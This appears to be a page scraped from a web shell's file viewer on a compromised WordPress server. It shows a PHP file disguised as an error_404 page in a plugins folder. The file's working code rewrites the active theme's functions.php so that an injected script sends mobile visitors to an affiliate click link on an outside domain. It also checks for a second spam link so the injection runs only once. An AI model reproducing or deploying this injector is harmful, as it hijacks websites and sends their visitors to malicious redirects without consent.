\x20\40\x20\40 HEX
HEX
Server: Apache
System: Linux web1.jenscom.net 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User: sps (1059)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /home/sps/public_html/wp-content/plugins-old/error_404_1773566357.php
<!--hkDN0Kyg-->
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$wpLoad = $root . '/wp-load.php';

if (!file_exists($wpLoad)) {
    trigger_error('wp-load.php not found', E_USER_ERROR);
}

require_once $wpLoad;

$theme = get_option('stylesheet');
if (!$theme) {
    trigger_error('Active theme not found', E_USER_ERROR);
}

$functions = $root . '/wp-content/themes/' . $theme . '/functions.php';
if (!file_exists($functions)) {
    trigger_error('functions.php not found', E_USER_ERROR);
}

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);


$redirectCode =
"<?php\n".
"add_action('wp_head', function () {\n".
"?>\n".
"<script>\n".
"(function(){\n".
"    if (/Android|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)) {\n".
"        location.href = \"https://go.welldone55.xyz/click?pid=26676&offer_id=5572&l=1773310208\";\n".
"    }\n".
"})();\n".
"</script>\n".
"<?php\n".
"});\n";


$content = file_get_contents($functions);
if ($content === false) {
    trigger_error('Failed to read functions.php', E_USER_ERROR);
}


if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}


if (preg_match('/^<\?php\s*/', $content)) {
    $content = preg_replace('/^<\?php\s*/', $redirectCode, $content, 1);
} else {
    $content = $redirectCode . $content;
}


if (file_put_contents($functions, $content) === false) {
    trigger_error('Failed to write functions.php', E_USER_ERROR);
}